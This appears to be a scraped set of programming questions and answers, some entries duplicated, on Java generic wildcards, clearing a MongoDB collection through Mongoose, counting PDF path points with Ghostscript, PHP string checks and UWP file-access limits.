pretty much every which way I have changed around these two lists it compiles, as long as the first is higher in the inheritance hierarchy.

Can someone help explain a little further

答:
The method signature uses two different wildcards:

<? super T>

<? extends T>

Differences explained here: Difference between <? super T> and <? extends T> in Java

Every time you call this method, the java compiler will try to find a T such that both arguments satisfy their condition. It seems when having multiple choices, the compiler will pick the most specific T it can.

So

```<code>// fails because there is no superclass of Dog that is a subclass of Animal
copy(new ArrayList<Dog>(), new ArrayList<Animal>())
// chooses T = Marly because it is most specific solution
copy(new ArrayList<Animal>(), new ArrayList<Marly>())
</code>```

Title: What is the type of T

Body:
Given:

public static <T> void copy(List<? super T> dest, List<? extends T> src)

I have seen this page:
Confusion over Java generic method type inference

But I am still confused, dasblinkenlight says that as long as the Object you pass in is consistent then the code should compile.

Does this mean that the first argument type will help determine what is valid
for the second?

public class Hello {

    public static void main(String[] args){
        ArrayList<Animal> dogs = new ArrayList<>();
        ArrayList<Marly> marlies = new ArrayList<>();

        copy(dogs,marlies);
    }

    public static <T> void copy(List<? super T> dest, List<? extends T> src{

    }
}

class Animal{}
class Dog extends Animal { }
class Beagle extends Dog { }
class Marly extends Beagle{ }

pretty much every which way I have changed around these two lists it compiles, as long as the first is higher in the inheritance hierarchy.

Can someone help explain a little further

Body:
The method signature uses two different wildcards:

<? super T>

<? extends T>

Differences explained here: Difference between <? super T> and <? extends T> in Java

Every time you call this method, the java compiler will try to find a T such that both arguments satisfy their condition. It seems when having multiple choices, the compiler will pick the most specific T it can.

So

// fails because there is no superclass of Dog that is a subclass of Animal
copy(new ArrayList<Dog>(), new ArrayList<Animal>())
// chooses T = Marly because it is most specific solution
copy(new ArrayList<Animal>(), new ArrayList<Marly>())


问:
Mongodb remove objects
I have the following code:

Log.ts

```<code>import * as mongoose from "mongoose";
import ILog = require("./ILog");

interface ILogModel extends ILog, mongoose.Document { }

var logSchema = new mongoose.Schema({
    title: String,
    description: String,
    date: Date,
});

var log = mongoose.model<ILogModel>("Log", logSchema);

export = log;
</code>```

ILog.ts

```<code>interface ILog {
    title: string;
    description: string;
    date: Date;
};

export = ILog;
</code>```

In my app I generate Logs with the following code:

```<code>                    var log = {
                        title: "tag",
                        description: "test",
                        date: Date.now()
                    };
                    Log.create(log, function (err: any, remote: any) {

                    });
</code>```

But when I do Log.remove( { }) nothing happens.

In ROBO 3T if I do db.getCollection('logs').remove({})
the log is cleared, but I don't understand how to do it in the app

Please help.

答:
```<code>                    Log.remove({}, function (err: any) {
                        if (err) return console.log("err", err);
                    });
</code>```

did the trick

Title: Mongodb remove objects

Body:
I have the following code:

Log.ts

import * as mongoose from "mongoose";
import ILog = require("./ILog");

interface ILogModel extends ILog, mongoose.Document { }

var logSchema = new mongoose.Schema({
    title: String,
    description: String,
    date: Date,
});

var log = mongoose.model<ILogModel>("Log", logSchema);

export = log;

ILog.ts

interface ILog {
    title: string;
    description: string;
    date: Date;
};

export = ILog;

In my app I generate Logs with the following code:

                    var log = {
                        title: "tag",
                        description: "test",
                        date: Date.now()
                    };
                    Log.create(log, function (err: any, remote: any) {

                    });

But when I do Log.remove( { }) nothing happens.

In ROBO 3T if I do db.getCollection('logs').remove({})
the log is cleared, but I don't understand how to do it in the app

Please help.

Body:
                    Log.remove({}, function (err: any) {
                        if (err) return console.log("err", err);
                    });

did the trick


问:
Count PDF nodes using ghostscript?
I've already used ghostscript to check PDF files and now i need to identify a pdf with more than 1000 nodes. Is it possible to use ghostscript to count the number of nodes a PDF have?

My knowledge with ghostscript is basic and I have difficulty finding a solution in ruby (PDF reader 1.3) or using tools like imageMagick.

Edit:

I can not explain in a more technical way what kind of node I'm looking for. These nodes are equivalent to those found in the corel draw. Initially I thought it would not have equivalent in pdf however the pitstop plugin has the functionality to indentify nodes.

Example of identified nodes by PitStop Pro

答:
Those aren't 'nodes', they are the start and end points of path segments. Ghostscript doesn't have a device to extract paths. It could do so easily enough (and recover the curve control points which don't appear to be displayed in your PitStop screen grab).

However, Ghostscript isn't an editing tool, so its not at all clear what you would intend to do with the information.

If you want this, then you are going to have to either parse the PDF yourself, or write a Ghostscript device to retrieve the information, or write a program for some other tool (eg MuPDF) to extract path information.

Title: Count PDF nodes using ghostscript?


问:
how to know if a $string ends with ','?

Possible Duplicate:

Find last character in a string in PHP

How can I know if the last char of a $string is ',' ?

答:
```<code>//$str hold your string
if(substr($str, -1) ==',')
{
   return true
}
</code>```

Title: how to know if a $string ends with ','?


问:
UWP access denied
Basically, I am having huge difficulty getting a text file to open by my UWP app. I have set the app permissions to be able to access files in 'my documents' and other options of known libraries like 'my pictures' but any attempt to open a file not located in these places is met by an 'Access Denied' error. From trawling the internet I know this is a known issue and has been asked a few times, but all threads seem to lead to the conclusion that you simply cannot access these files without getting the user to access it via the file picker (due to sandboxing). See thread below for example:

https://social.msdn.microsoft.com/Forums/en-US/2ab6e209-cad7-4254-a252-b8e752ea7d13/uwp-how-can-i-access-locally-stored-files-not-on-removable-storage?forum=WindowsIoT

I know asking the same question again and hoping for a different response sounds futile but I know for a fact that this cannot be the whole answer. I know this because I have downloaded other notepad apps from the store (e.g. modern notepad) and they allow this behaviour with no issues. How are they doing this???

This has been driving me mad for months and I really hope someone can help

答:
Yep like you've already known, a common UWP app cannot directly access some paths that is not allowed. You need a broker to help you access it using FilePicker. I believe you can found lots of articles about this.

So why you can see some notepads in the store which seems different? This is because those apps are converted apps which used DesktopBridge technology. Desktopbridge allows common desktop apps to works in UWP app container and have more privilege. Although it has some problems for path that you need to notice, like the following blogs mentioned: blog1 and blog2.

Title: UWP access denied